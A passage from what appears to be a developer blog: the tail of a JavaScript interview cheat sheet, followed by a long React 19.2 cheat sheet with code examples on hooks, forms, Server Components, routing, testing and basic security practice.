What is `this`?	Set by how a function is called: `new`, `call/apply/bind`, method call, default. Arrows use lexical `this`.
Arrow vs regular function?	Arrows have no own `this`, `arguments`, or `new`. Use them for callbacks, not for object methods.
`call` vs `apply` vs `bind`?	`call` and `apply` invoke now (args listed vs array). `bind` returns a new function.
What is the prototype chain?	Objects inherit through a linked chain of prototypes until `null`.
What is the event loop?	Runs sync code, then all microtasks, then one macrotask, repeat. Makes async work on a single thread.
Microtask vs macrotask?	Microtasks: Promise callbacks, `queueMicrotask`. Macrotasks: timers, events, I/O. Microtasks run first.
What is a Promise?	An object for a future value with states pending, fulfilled, rejected.
`Promise.all` vs `allSettled` vs `race` vs `any`?	All fulfill or fail fast. All settle. First to settle. First to fulfill.
What does `async/await` do?	Syntax over Promises. `async` returns a Promise, `await` pauses that function until it settles.
How do you run async tasks in parallel?	Start them together, then `await Promise.all([...])`.
Shallow vs deep copy?	Shallow copies one level (spread). Deep copies everything (`structuredClone`).
`null` vs `undefined`?	`undefined` means not assigned. `null` means intentionally empty.
What is event delegation?	One listener on a parent that handles child events using `e.target`.
Event bubbling vs capturing?	Bubbling goes target to root (default). Capturing goes root to target.
`map` vs `forEach`?	`map` returns a new array. `forEach` returns nothing, use it for side effects.
`slice` vs `splice`?	`slice` copies a portion. `splice` mutates the array.
What is currying?	Turning `f(a, b)` into `f(a)(b)`.
What is debouncing?	Delay the call until the user stops triggering it.
`for...in` vs `for...of`?	`in` loops keys (including inherited). `of` loops values of iterables.
What are generators?	Functions that can pause with `yield` and resume. Lazy sequences.
`Map` vs object?	Map allows any key type, keeps order, has `size`, and performs better for frequent changes.
`WeakMap` use case?	Attach data to objects without preventing garbage collection.
ESM vs CommonJS?	ESM uses `import`/`export`, is static and async-capable. CJS uses `require`, is sync and dynamic.
What is a pure function?	Same input gives same output, with no side effects.
How do you prevent memory leaks?	Remove listeners and timers, avoid accidental globals, limit caches, use `WeakMap`.
What is strict mode?	Opt-in stricter parsing and error behavior. Default in modules and classes.
What is `Symbol`?	A unique, immutable primitive, used for hidden keys and protocols like `Symbol.iterator`.
`Object.freeze` vs `const`?	`const` locks the binding. `freeze` blocks changes to the object's own properties (shallowly).

27. Official resources

MDN JavaScript Guide and Reference: the best day-to-day reference
ECMAScript specification: the source of truth (read the intro for a feature history)
TC39 proposals: what is coming next and at which stage
javascript.info: the best free deep-dive tutorial
Exploring JS by Axel Rauschmayer: thorough and modern
caniuse and web.dev Baseline: browser support
node.green: Node.js feature support
Tools: ESLint, Prettier, TypeScript, Vite, Vitest

Final tip

Do not try to memorize this in one go. Build small things (a todo app, a weather widget, a CLI script), return here when something breaks, and the patterns will stick. Master the core (scope, closures, this, the event loop, promises) and everything else gets easier.

If this helped, save it for revision or interview prep. Next up in the series: Next.js.

Found something outdated or wrong? Drop a comment and I will fix it.

React Cheat Sheet 2026: Learn Once, Remember Forever (React 19.2)

VIKAS — Fri, 23 Oct 2026 09:18:11 +0000

Most React tutorials are long. Most cheat sheets are outdated. This one is neither.

It is written for React 19.2 (the current docs at react.dev), and it works for three kinds of people:

Beginners and intermediates: read it top to bottom like a crash course.
Job seekers: jump to the Interview Rapid Fire and Gotchas sections.
Working devs: use the table of contents as a quick revision index.

Every concept follows the same pattern: what it is, the smallest useful example, and the trap to avoid.

JavaScript you need first
Setup and project structure
How React thinks
JSX rules
Components and props
Conditional rendering and lists
Events
State
All built-in hooks at a glance
useEffect
useRef
useReducer and Context
Performance
Suspense and Transitions
Forms and Actions (React 19)
What is new in React 19 and 19.2
Server Components
Custom hooks
Portals, Fragments, Error Boundaries
Styling
Routing
Data fetching and state management
TypeScript with React
Testing
Accessibility and security
Gotchas that bite everyone
Interview Rapid Fire
Legacy stuff you may still see
Official resources

1. JavaScript you need first

React is 80% JavaScript. If these are shaky, fix them first (MDN JavaScript guide).

Concept	Example
Destructuring	`const { name, age } = user;` `const [a, b] = arr;`
Spread	`{ ...user, age: 30 }` `[...items, newItem]`
Array methods	`map`, `filter`, `find`, `reduce`, `some`, `every`
Optional chaining	`user?.address?.city`
Nullish coalescing	`value ?? 'default'` (only null or undefined)
Template literals	`Hello ${name}`
ES modules	`export default X` / `import X from './X'` / `export { a, b }`
Async	`async/await`, `Promise.all`, `fetch`
Closures	A function remembers the variables around it. Explains stale state bugs.

2. Setup and project structure

npm create vite@latest my-app -- --template react
cd my-app
npm install
npm run dev

Use --template react-ts for TypeScript.

Tool	Use when
Vite	Client-side SPA, dashboards, learning
Next.js	Full-stack, SEO, server rendering, Server Components
React Router (framework mode)	Full-stack with React Router's data APIs
Expo	React Native mobile apps

Create React App is deprecated. The React team officially sunset it in early 2025. Do not start new projects with it.

Entry point:

// main.jsx
import { StrictMode } from 'react';
import { createRoot } from 'react-dom/client';
import App from './App.jsx';

createRoot(document.getElementById('root')).render(
  <StrictMode>
    <App />
  </StrictMode>
);

Typical structure:

src/
  main.jsx          entry point
  App.jsx           root component
  components/       reusable UI (Button, Modal)
  features/         feature folders (auth, cart)
  hooks/            custom hooks (useDebounce)
  pages/ or routes/ route-level components
  lib/ or utils/    helpers, API clients

Naming rules: components are PascalCase, hooks start with use, one component per file is a good default.

3. How React thinks

UI = function of state. You describe what the screen should look like for the current data. React figures out the DOM changes.

Every update has 3 steps:

Trigger: initial render, or a state update.
Render: React calls your component functions to compute the new JSX.
Commit: React updates the real DOM only where something changed.

A component re-renders when:

its own state changes
its parent re-renders (children re-render too, by default)
a context it reads changes

Rules of React (non-negotiable):

Components and hooks must be pure: same inputs, same output.
Never mutate props, state, or variables created before render.
Side effects go in event handlers or effects, never in the render body.
Only call hooks at the top level of components or custom hooks. Not inside if, loops, or nested functions.

Re-render does not mean the DOM is rebuilt. It means your function ran again.

4. JSX rules

JSX is syntax that compiles to JavaScript function calls. It is not HTML.

HTML	JSX
`class`	`className`
`for`	`htmlFor`
`onclick`	`onClick` (camelCase events)
`style="color:red"`	`style={{ color: 'red' }}` (object, camelCase props)
`<input>`	`<input />` (every tag must close)
`<!-- comment -->`	`{/* comment */}`

function Card({ title, price }) {
  const tax = price * 0.18;
  return (
    <>
      <h2 className="title">{title}</h2>
      <p>Total: {(price + tax).toFixed(2)}</p>
      <img src="/a.png" alt="Product photo" />
    </>
  );
}

{} accepts any expression, not statements (no if, no for).
A component returns one root. Use <>...</> (Fragment) to avoid extra divs.
JSX escapes strings by default, which protects you from XSS. dangerouslySetInnerHTML turns that protection off.

5. Components and props

A component is a function that takes props and returns JSX.

function Button({ label, variant = 'primary', onClick, children }) {
  return (
    <button className={`btn btn-${variant}`} onClick={onClick}>
      {label}
      {children}
    </button>
  );
}

<Button label="Save" variant="danger" onClick={handleSave} />

Props are read-only. Never write props.x = 1.
Set defaults with destructuring defaults (variant = 'primary'). defaultProps on function components was removed in React 19.
children is whatever you put between the tags. This is composition, React's answer to inheritance.
Spread to forward many props: <input {...rest} />.

Composition example:

function Card({ children }) {
  return <div className="card">{children}</div>;
}

<Card>
  <h2>Hello</h2>
  <p>Any JSX works here.</p>
</Card>

Pass data down with props. Pass events up with function props. That is the entire data flow.

6. Conditional rendering and lists

// ternary: either or
{isLoggedIn ? <Dashboard /> : <Login />}

// && : show or nothing
{hasError && <ErrorMessage />}

// early return
if (!user) return <Spinner />;

Trap: {count && <Badge />} renders a literal 0 when count is 0. Use {count > 0 && <Badge />}.

Lists:

<ul>
  {todos.map(todo => (
    <li key={todo.id}>{todo.text}</li>
  ))}
</ul>

Key rules:

Must be unique among siblings and stable (same item, same key, always).
Use a real ID from your data. Avoid Math.random().
Array index is only safe for lists that never reorder, filter, or insert.
Key is not a prop. The child cannot read it.
Bad keys cause wrong state to stick to wrong items, not just slow renders.

7. Events

function Demo() {
  function handleClick(e) {
    e.preventDefault();   // stop default browser behavior
    e.stopPropagation();  // stop bubbling
  }

  return (
    <>
      <button onClick={handleClick}>Pass the function</button>
      <button onClick={() => remove(id)}>Pass an arrow to send arguments</button>
    </>
  );
}

Pass the function, do not call it. onClick={fn} is right. onClick={fn()} runs during render.
Event names are camelCase: onChange, onSubmit, onKeyDown, onMouseEnter.
React's onChange fires on every keystroke, unlike the DOM change event.
Events bubble. Use the Capture suffix (onClickCapture) for the capture phase.

8. State

State is memory that triggers a re-render when it changes.

import { useState } from 'react';

function Counter() {
  const [count, setCount] = useState(0);
  return <button onClick={() => setCount(count + 1)}>Count: {count}</button>;
}

State is a snapshot

Inside one render, count never changes. setCount schedules the next render.

setCount(count + 1);
setCount(count + 1);
setCount(count + 1);   // result: +1 (all three used the same old count)

setCount(c => c + 1);
setCount(c => c + 1);
setCount(c => c + 1);  // result: +3 (updater function gets the latest)

Rule: if the new value depends on the old one, use the updater form.

More state facts

Updates are batched automatically (events, timeouts, promises, everywhere since React 18).
Lazy initial value runs only once: useState(() => readFromStorage()).
Setting the same value (compared with Object.is) skips the re-render.
State is per component instance. Two <Counter /> have separate counts.

Never mutate. Always replace.

Task	Avoid (mutates)	Use (returns new)
Add to array	`push`, `unshift`	`[...arr, item]`
Remove	`splice`, `pop`	`arr.filter(x => x.id !== id)`
Replace	`arr[i] = x`	`arr.map(x => x.id === id ? { ...x, done: true } : x)`
Sort / reverse	`sort()`, `reverse()`	`arr.toSorted()`, `arr.toReversed()` or `[...arr].sort()`
Update object	`obj.a = 1`	`{ ...obj, a: 1 }`
Nested object	`user.address.city = 'X'`	`{ ...user, address: { ...user.address, city: 'X' } }`

For deep nesting, use Immer (useImmer) or flatten your state.

Choosing state structure (from react.dev)

Group values that change together into one object.
Avoid contradictions (isLoading + isError + isSuccess becomes one status string).
Avoid redundant state. If you can calculate it from other state or props, calculate it during render.
Avoid duplication. Store an id, not a copy of the whole object.
Avoid deep nesting.

// derive, do not sync
const [items, setItems] = useState([]);
const total = items.reduce((sum, i) => sum + i.price, 0); // no useState, no useEffect

Lifting state up

Two components need the same data? Move the state to their closest common parent and pass it down with props.

Reset state with `key`

<Profile key={userId} userId={userId} />  // new userId means fresh state

9. All built-in hooks at a glance

Hook	One-line purpose
`useState`	Local state
`useReducer`	Local state with complex update logic
`useContext`	Read context (skip prop drilling)
`useRef`	Mutable box that does not trigger renders, or a DOM handle
`useImperativeHandle`	Customize what a parent gets through a ref
`useEffect`	Sync with an external system after paint
`useLayoutEffect`	Same, but runs before paint (measure layout)
`useInsertionEffect`	For CSS-in-JS library authors
`useEffectEvent`	Non-reactive logic inside an effect (19.2)
`useMemo`	Cache a calculated value
`useCallback`	Cache a function
`useTransition`	Mark a state update as non-urgent
`useDeferredValue`	Lag a value behind for smooth UI
`useId`	Stable unique ID for accessibility attributes
`useSyncExternalStore`	Subscribe to a non-React store safely
`useDebugValue`	Label for custom hooks in DevTools
`useActionState`	State plus pending flag for form actions (19)
`useOptimistic`	Show the expected result before the server answers (19)
`useFormStatus`	Read parent form's pending status (from `react-dom`)
`use`	Read a promise or context during render (19, an API, not a classic hook)

Rules of Hooks: top level only, only in components or custom hooks, same order every render. Install eslint-plugin-react-hooks and let it yell at you.

10. useEffect

Effects are for synchronizing with things outside React: network, timers, browser APIs, third-party widgets.

useEffect(() => {
  // setup: runs after render
  const id = setInterval(tick, 1000);

  return () => {
    // cleanup: runs before the next effect and on unmount
    clearInterval(id);
  };
}, [dependencies]);

Dependency array	Runs
none	After every render
`[]`	After first render only
`[a, b]`	After first render and whenever `a` or `b` changed

Dependencies are not a choice. Every reactive value used inside (props, state, variables from the component) must be listed. The linter enforces this.

Fetching data (the safe pattern)

useEffect(() => {
  const controller = new AbortController();

  async function load() {
    try {
      const res = await fetch(`/api/users/${id}`, { signal: controller.signal });
      if (!res.ok) throw new Error(`HTTP ${res.status}`);
      setUser(await res.json());
    } catch (err) {
      if (err.name !== 'AbortError') setError(err);
    }
  }

  load();
  return () => controller.abort(); // prevents race conditions
}, [id]);

fetch does not reject on 404 or 500. Always check res.ok.
In real apps, prefer TanStack Query or your framework's data loading over hand-written fetch effects.

Strict Mode

In development, <StrictMode> runs setup, cleanup, setup again on mount. If this breaks your app, your cleanup is missing. It is a feature, not a bug. Production runs once.

You might not need an effect

You wrote an effect to...	Do this instead
Compute data from props or state	Calculate during render
Reset state when a prop changes	Use `key`
Handle a button click	Put the logic in the event handler
Send analytics for a user action	Event handler
Chain state updates	Compute everything in one handler

useEffectEvent (React 19.2)

Use it when an effect needs the latest props or state but should not re-run because of them.

import { useEffect, useEffectEvent } from 'react';

function Chat({ roomId, theme }) {
  const onConnected = useEffectEvent(() => showToast('Connected', theme));

  useEffect(() => {
    const conn = createConnection(roomId);
    conn.on('connected', () => onConnected());
    conn.connect();
    return () => conn.disconnect();
  }, [roomId]); // theme is not a dependency, by design
}

Call effect events only from inside effects. Do not pass them to children or put them in dependency arrays.

useLayoutEffect

Runs after DOM changes but before the browser paints. Use it to measure an element (tooltip position) and adjust without flicker. It blocks painting, so use it rarely.

11. useRef

A ref is a box with a .current property. Changing it does not re-render.

function SearchBox() {
  const inputRef = useRef(null);

  return (
    <>
      <input ref={inputRef} />
      <button onClick={() => inputRef.current.focus()}>Focus</button>
    </>
  );
}

Use `useRef` for	Use `useState` for
DOM nodes (focus, scroll, measure)	Anything shown on screen
Timer IDs, previous values	Anything that must trigger a re-render
Mutable values the UI does not display	Form values you want to control

Do not read or write ref.current during render (except one-time initialization). Do it in handlers and effects.

Ref as a prop (React 19): function components now receive ref as a normal prop. forwardRef is no longer needed for new code.

function MyInput({ ref, ...props }) {
  return <input ref={ref} {...props} />;
}

Ref callbacks can return a cleanup function (19):

<div ref={node => {
  const observer = new ResizeObserver(handler);
  observer.observe(node);
  return () => observer.disconnect();
}} />

12. useReducer and Context

useReducer

Use it when state updates are many, related, or complex.

function reducer(state, action) {
  switch (action.type) {
    case 'add':
      return [...state, { id: crypto.randomUUID(), text: action.text, done: false }];
    case 'toggle':
      return state.map(t => (t.id === action.id ? { ...t, done: !t.done } : t));
    case 'remove':
      return state.filter(t => t.id !== action.id);
    default:
      throw new Error(`Unknown action: ${action.type}`);
  }
}

const [todos, dispatch] = useReducer(reducer, []);
dispatch({ type: 'add', text: 'Learn React' });

Reducers must be pure: no fetch, no random, no mutation.

`useState`	`useReducer`
Simple, independent values	Many related fields, many action types
Less code	Logic is centralized and testable

Context

Context lets any descendant read a value without passing props through every level.

import { createContext, useContext, useState, useMemo } from 'react';

const ThemeContext = createContext('light');

function App() {
  const [theme, setTheme] = useState('light');
  const value = useMemo(() => ({ theme, setTheme }), [theme]);

  return (
    // React 19: use the context itself as the provider
    // React 18 and older: <ThemeContext.Provider value={value}>
    <ThemeContext value={value}>
      <Page />
    </ThemeContext>
  );
}

function Header() {
  const { theme, setTheme } = useContext(ThemeContext);
  return <button onClick={() => setTheme(t => (t === 'light' ? 'dark' : 'light'))}>{theme}</button>;
}

Context facts:

When the value changes, every consumer re-renders. Keep values stable (useMemo) and split big contexts (one for state, one for dispatch, or one per concern).
Great for: theme, current user, language, router, small shared UI state.
Not great for: fast-changing data (mouse position, big lists). Use a store like Zustand or Redux Toolkit.
use(ThemeContext) also works and, unlike useContext, can be called inside if blocks.

13. Performance

Measure first. Open React DevTools Profiler. Do not guess.

Order of fixes (cheapest first):

Move state down. Put state in the smallest component that needs it.
Lift content up with children. A component receiving children as a prop does not re-render its children when its own state changes.
Stable keys and no expensive work inside render.
Virtualize long lists (@tanstack/react-virtual, react-window).
Code split with lazy and Suspense.
Memoize (below).

Memoization tools

// skip re-render if props are shallow-equal
const Row = memo(function Row({ item }) { /* ... */ });

// cache an expensive calculation
const sorted = useMemo(() => bigList.toSorted(compare), [bigList]);

// cache a function so memo'd children see the same reference
const onSelect = useCallback(id => setSelected(id), []);

Tool	Caches	Why it matters
`memo(Component)`	The component's render result	Skips re-render when props are equal
`useMemo`	A value	Avoids heavy recalculation, keeps object identity stable
`useCallback`	A function	Keeps function identity stable for `memo` or effect deps

useCallback and useMemo are useless on their own. They help only when the result goes to a memo child, a dependency array, or an expensive calculation.

React Compiler (v1.0)

The React Compiler is a build-time tool that adds memoization automatically. With it, you write less manual useMemo, useCallback and memo. It is opt-in through a Babel plugin. Check the docs for your build tool.

14. Suspense and Transitions

Suspense

Shows a fallback while something is loading (lazy code, or data from Suspense-enabled sources).

import { lazy, Suspense } from 'react';

const Chart = lazy(() => import('./Chart'));

<Suspense fallback={<p>Loading chart...</p>}>
  <Chart />
</Suspense>

Transitions

Mark updates as non-urgent so typing and clicking stay responsive.

const [isPending, startTransition] = useTransition();

function selectTab(tab) {
  startTransition(() => setTab(tab)); // UI stays interactive while the new tab renders
}

const [query, setQuery] = useState('');
const deferredQuery = useDeferredValue(query); // lags behind while typing
return <Results query={deferredQuery} />;

Hook	Use when
`useTransition`	You own the state update and can wrap it
`useDeferredValue`	You receive a value and want to defer work based on it

15. Forms and Actions (React 19)

Controlled input (React owns the value)

const [name, setName] = useState('');
<input value={name} onChange={e => setName(e.target.value)} />

Uncontrolled input (the DOM owns the value)

<form onSubmit={e => {
  e.preventDefault();
  const data = new FormData(e.currentTarget);
  console.log(data.get('email'));
}}>
  <input name="email" type="email" />
  <button>Send</button>
</form>

Controlled	Uncontrolled
Live validation, formatting, dependent fields	Simple forms, file inputs, fewer re-renders

Form Actions

In React 19, <form action={fn}> accepts a function. It receives FormData, runs as a transition, and uncontrolled fields reset after success.

import { useActionState } from 'react';
import { useFormStatus } from 'react-dom';

async function subscribe(prevState, formData) {
  const res = await fetch('/api/subscribe', { method: 'POST', body: formData });
  if (!res.ok) return { error: 'Something went wrong. Try again.' };
  return { error: null };
}

function SubmitButton() {
  const { pending } = useFormStatus(); // must be rendered INSIDE the form
  return <button disabled={pending}>{pending ? 'Saving...' : 'Subscribe'}</button>;
}

function SubscribeForm() {
  const [state, formAction] = useActionState(subscribe, { error: null });

  return (
    <form action={formAction}>
      <input name="email" type="email" required />
      <SubmitButton />
      {state.error && <p role="alert">{state.error}</p>}
    </form>
  );
}

useOptimistic

Show the result instantly. React rolls it back automatically if the action fails.

const [optimisticTodos, addOptimistic] = useOptimistic(
  todos,
  (current, newTitle) => [...current, { id: 'temp', title: newTitle, sending: true }]
);

async function addTodo(formData) {
  const title = formData.get('title');
  addOptimistic(title);
  await saveTodo(title); // then update the real state
}

<form action={addTodo}>...</form>

Validation tips

Frontend validation is for UX only. Always validate again on the server.
For big forms, use a library: React Hook Form, TanStack Form, or Formik.
Use schema validation (Zod, Valibot) and share the schema between client and server.

16. What is new in React 19 and 19.2

Feature	What changed
Actions	Async functions in transitions. Pending, errors and optimistic updates handled for you.
`useActionState`, `useFormStatus`, `useOptimistic`	Form and mutation helpers (section 15).
`use` API	Read a promise or context during render, can be conditional.
`ref` as a prop	No more `forwardRef` for function components.
`<Context>` as provider	Replaces `<Context.Provider>`.
Document metadata	`<title>`, `<meta>`, `<link>` rendered inside components are hoisted to `<head>`.
Stylesheet and resource support	Better preloading with `preload`, `preinit` from `react-dom`.
Better error reporting	Less duplicated errors, new `onCaughtError` and `onUncaughtError` root options.
Custom Elements support	Web Components work properly.
`<Activity>` (19.2)	Hide parts of the UI but keep their state.
`useEffectEvent` (19.2)	Non-reactive logic inside effects.
Performance Tracks (19.2)	React data in the Chrome DevTools performance timeline.

The use API:

import { use, Suspense } from 'react';

function Comments({ commentsPromise }) {
  const comments = use(commentsPromise); // suspends until resolved
  return comments.map(c => <p key={c.id}>{c.text}</p>);
}

<Suspense fallback={<p>Loading...</p>}>
  <Comments commentsPromise={commentsPromise} />
</Suspense>

Create the promise outside the client component render (in a Server Component, a loader, or a cache). Creating a new promise on every render causes an infinite loop.

<Activity>:

import { Activity } from 'react';

<Activity mode={tab === 'inbox' ? 'visible' : 'hidden'}>
  <Inbox />   {/* state kept, effects cleaned up while hidden */}
</Activity>

Removed in 19 (common in old tutorials): ReactDOM.render (use createRoot), ReactDOM.hydrate (use hydrateRoot), propTypes and defaultProps on function components, string refs, legacy context, findDOMNode.

17. Server Components

React Server Components (RSC) run on the server (at build time or per request). They need a framework that supports them, such as Next.js (App Router).

	Server Component	Client Component
Default in Next.js App Router	Yes	No, needs `'use client'`
Can be `async` and read DB or files directly	Yes	No
Can use `useState`, `useEffect`, events	No	Yes
JS sent to the browser	None	Yes

// Server Component (no directive needed in frameworks like Next.js)
async function Products() {
  const products = await db.products.findMany();
  return <ul>{products.map(p => <li key={p.id}>{p.name}</li>)}</ul>;
}

'use client'; // top of file: this file and its imports run in the browser

import { useState } from 'react';
export default function LikeButton() {
  const [liked, setLiked] = useState(false);
  return <button onClick={() => setLiked(!liked)}>{liked ? 'Liked' : 'Like'}</button>;
}

Server Functions (formerly Server Actions) use 'use server'. They are server-side functions you call from the client, often as form actions.

'use server';

export async function createPost(formData) {
  await db.posts.create({ title: formData.get('title') });
}

Remember:

'use client' marks a boundary. Everything imported below it becomes client code.
Push 'use client' as deep (as small) as possible.
Props passed from server to client must be serializable (no functions, except Server Functions).
Treat every Server Function as a public HTTP endpoint: authenticate, authorize and validate inputs.
A critical RSC vulnerability was disclosed and patched in the React blog's security notice. Keep React and your framework updated.

18. Custom hooks

A custom hook is a function whose name starts with use and that calls other hooks. It shares logic, not state. Each call gets its own state.

function useLocalStorage(key, initial) {
  const [value, setValue] = useState(() => {
    const saved = localStorage.getItem(key);
    return saved ? JSON.parse(saved) : initial;
  });

  useEffect(() => {
    localStorage.setItem(key, JSON.stringify(value));
  }, [key, value]);

  return [value, setValue];
}

function useDebounce(value, delay = 300) {
  const [debounced, setDebounced] = useState(value);
  useEffect(() => {
    const id = setTimeout(() => setDebounced(value), delay);
    return () => clearTimeout(id);
  }, [value, delay]);
  return debounced;
}

const debouncedSearch = useDebounce(search, 500);

Good candidates: useDebounce, useLocalStorage, useMediaQuery, useOnClickOutside, useFetch (or just use TanStack Query).

For browser-store subscriptions (online status, window size), use useSyncExternalStore:

function useOnlineStatus() {
  return useSyncExternalStore(
    callback => {
      window.addEventListener('online', callback);
      window.addEventListener('offline', callback);
      return () => {
        window.removeEventListener('online', callback);
        window.removeEventListener('offline', callback);
      };
    },
    () => navigator.onLine,
    () => true // server snapshot
  );
}

19. Portals, Fragments, Error Boundaries

Fragments

<>
  <Header />
  <Main />
</>

// when you need a key (in lists), import it
<Fragment key={item.id}>...</Fragment>

Portals

Render children into a different DOM node. Used for modals, tooltips, dropdowns that must escape overflow: hidden or z-index traps.

import { createPortal } from 'react-dom';

function Modal({ children }) {
  return createPortal(<div className="modal">{children}</div>, document.body);
}

Events still bubble through the React tree, not the DOM tree.

Error Boundaries

Catch errors thrown while rendering children and show a fallback. They still must be class components (or use the react-error-boundary library).

import { Component } from 'react';

class ErrorBoundary extends Component {
  state = { hasError: false };

  static getDerivedStateFromError() {
    return { hasError: true };
  }

  componentDidCatch(error, info) {
    logError(error, info.componentStack);
  }

  render() {
    return this.state.hasError ? this.props.fallback : this.props.children;
  }
}

<ErrorBoundary fallback={<p>Something broke.</p>}>
  <Widget />
</ErrorBoundary>

Error boundaries do not catch errors in event handlers, async code, or the server. Use try/catch there.

20. Styling

Approach	Notes
Plain CSS	`import './App.css'`. Global, class names can collide.
CSS Modules	`import s from './Btn.module.css'`, then `className={s.primary}`. Scoped automatically.
Tailwind CSS	Utility classes in JSX. Very popular, great speed.
Inline style	`style={{ color: 'red' }}`. Good for dynamic values only. No pseudo-classes or media queries.
CSS-in-JS (styled-components, Emotion)	Still used, but runtime CSS-in-JS has trade-offs with Server Components.
Component libraries	shadcn/ui, MUI, Chakra, Mantine, Radix

Conditional classes:

<button className={`btn ${active ? 'btn-active' : ''}`} />
// or with the clsx package
<button className={clsx('btn', { 'btn-active': active })} />

21. Routing

React itself has no router. The common choice is React Router (v7). Next.js has its own file-based routing.

import { createBrowserRouter, Link, NavLink, Outlet, useParams, useNavigate } from 'react-router';
import { RouterProvider } from 'react-router/dom';

const router = createBrowserRouter([
  {
    path: '/',
    element: <Layout />,          // renders <Outlet /> for children
    children: [
      { index: true, element: <Home /> },
      { path: 'products/:id', element: <Product /> },
      { path: '*', element: <NotFound /> },
    ],
  },
]);

createRoot(document.getElementById('root')).render(<RouterProvider router={router} />);

function Layout() {
  return (
    <>
      <nav>
        <NavLink to="/" className={({ isActive }) => (isActive ? 'active' : '')}>Home</NavLink>
      </nav>
      <Outlet />
    </>
  );
}

function Product() {
  const { id } = useParams();
  const navigate = useNavigate();
  return <button onClick={() => navigate('/')}>Back from {id}</button>;
}

Need	Use
Navigate without page reload	`<Link to="/x">` (never a plain `<a>` for internal links)
Active link styling	`<NavLink>`
Read URL params	`useParams()`
Read or set `?q=...`	`useSearchParams()`
Navigate from code	`useNavigate()`
Nested layout slot	`<Outlet />`
404 page	`path: '*'`

The old reference sheets use v5/v6 APIs like Switch, Redirect, useHistory. Those are gone. Today: Routes/route objects, <Navigate>, useNavigate. Older react-router-dom imports still work in v6, and v7 re-exports them from react-router.

22. Data fetching and state management

What kind of state is it?

Kind of state	Best tool
Local UI (open/closed, input)	`useState`
Complex local logic	`useReducer`
Shared by a few components	Lift state up, or Context
Server data (API responses)	TanStack Query (or SWR, or framework loaders)
Global client state (cart, UI prefs)	Zustand, Jotai, or Redux Toolkit
URL-driven state (filters, page)	Search params
Form state	`<form action>`, or React Hook Form

Most apps over-use global state. Server data is not global state. It is a cache.

TanStack Query

import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';

function Todos({ userId }) {
  const { data, isPending, error } = useQuery({
    queryKey: ['todos', userId],
    queryFn: async () => {
      const res = await fetch(`/api/todos?user=${userId}`);
      if (!res.ok) throw new Error('Failed to load');
      return res.json();
    },
  });

  if (isPending) return <p>Loading...</p>;
  if (error) return <p>{error.message}</p>;
  return <ul>{data.map(t => <li key={t.id}>{t.title}</li>)}</ul>;
}

You get caching, deduping, retries, background refresh and invalidation for free.

Zustand (tiny global store)

import { create } from 'zustand';

const useCart = create(set => ({
  items: [],
  add: item => set(s => ({ items: [...s.items, item] })),
}));

const items = useCart(s => s.items); // subscribe to a slice only

Redux Toolkit (when you need the full toolbox)

Use Redux Toolkit, not plain Redux. createStore is deprecated and old tutorials still show it.

import { configureStore, createSlice } from '@reduxjs/toolkit';

const counterSlice = createSlice({
  name: 'counter',
  initialState: { value: 0 },
  reducers: {
    increment: state => { state.value += 1; },        // Immer allows "mutation" here
    addBy: (state, action) => { state.value += action.payload; },
  },
});

export const { increment, addBy } = counterSlice.actions;
export const store = configureStore({ reducer: { counter: counterSlice.reducer } });

import { Provider, useSelector, useDispatch } from 'react-redux';

<Provider store={store}><App /></Provider>

const value = useSelector(s => s.counter.value);
const dispatch = useDispatch();
dispatch(addBy(5));

For async data in Redux, use RTK Query or createAsyncThunk.

23. TypeScript with React

type ButtonProps = {
  label: string;
  variant?: 'primary' | 'danger';
  onClick?: () => void;
  children?: React.ReactNode;
};

function Button({ label, variant = 'primary', onClick }: ButtonProps) {
  return <button className={variant} onClick={onClick}>{label}</button>;
}

Need	Type
State that can be empty	`useState<User \
DOM ref	{% raw %}`useRef<HTMLInputElement>(null)`
Input change event	`React.ChangeEvent<HTMLInputElement>`
Form submit event	`React.FormEvent<HTMLFormElement>`
Click event	`React.MouseEvent<HTMLButtonElement>`
Any renderable child	`React.ReactNode`
Props of a native element	`React.ComponentProps<'button'>`
Style object	`React.CSSProperties`

You do not need React.FC. Type the props directly.
Let TypeScript infer when it can. Annotate props, state that starts empty, and refs.
Use discriminated unions for state: { status: 'loading' } | { status: 'success'; data: User }.

24. Testing

Stack: Vitest (or Jest) + React Testing Library + user-event + jest-dom.

npm i -D vitest jsdom @testing-library/react @testing-library/user-event @testing-library/jest-dom

import { render, screen } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { test, expect } from 'vitest';
import Counter from './Counter';

test('increments the count on click', async () => {
  const user = userEvent.setup();
  render(<Counter />);

  await user.click(screen.getByRole('button', { name: /count: 0/i }));

  expect(screen.getByRole('button', { name: /count: 1/i })).toBeInTheDocument();
});

Test like a user, not like a developer.

Query priority	Example
1. `getByRole`	`getByRole('button', { name: /save/i })`
2. `getByLabelText`	form fields
3. `getByText`	visible text
4. `getByTestId`	last resort

Prefix	Meaning
`getBy`	Must exist now, throws if missing
`queryBy`	Returns null if missing (assert absence)
`findBy`	Async, waits for it to appear

Test pyramid: many unit tests, some integration tests, few end-to-end tests (Playwright or Cypress). Mock the network (MSW), not your own components.

25. Accessibility and security

Accessibility basics:

Use semantic HTML: <button>, <nav>, <main>, <label>. Not <div onClick>.
Every input needs a label: <label htmlFor={id}> with useId().
Every informative image needs alt. Decorative images get alt="".
Keep keyboard navigation working. Manage focus in modals (focus in, focus restored on close).
Use ARIA only when native HTML cannot do the job.
Add eslint-plugin-jsx-a11y.

function Field({ label }) {
  const id = useId();
  return (
    <>
      <label htmlFor={id}>{label}</label>
      <input id={id} />
    </>
  );
}

Security basics:

Avoid dangerouslySetInnerHTML. If you must, sanitize with DOMPurify.
Validate href values from user input (block javascript: URLs).
Never put secrets in client code or VITE_ / NEXT_PUBLIC_ variables. Anything in the bundle is public.
Keep tokens out of localStorage when possible. Prefer httpOnly cookies.
Always re-check auth and validation on the server.
Run npm audit and keep dependencies and frameworks updated.

Gotchas that bite everyone

Stale state: setCount(count + 1) repeated does not add up. Use setCount(c => c + 1).
Mutating state: arr.push(x); setArr(arr) does nothing, same reference.
{0 && <X/>} shows 0. Compare explicitly.
Index as key on dynamic lists causes state jumping between items.
Missing dependencies in useEffect. Trust the linter.
Missing cleanup (timers, listeners, subscriptions, fetch).
Race conditions in fetch effects. Use AbortController or a library.
Calling the handler: onClick={handle()} runs on render.
Hooks inside conditions or loops. Breaks hook order.
Defining a component inside another component. It remounts on every render and loses state.
Derived state in useState: useState(props.value) ignores later prop changes. Derive instead.
Over-memoizing. Memoization has a cost. Profile first.
Putting everything in Context or global state.
Reading ref.current during render.
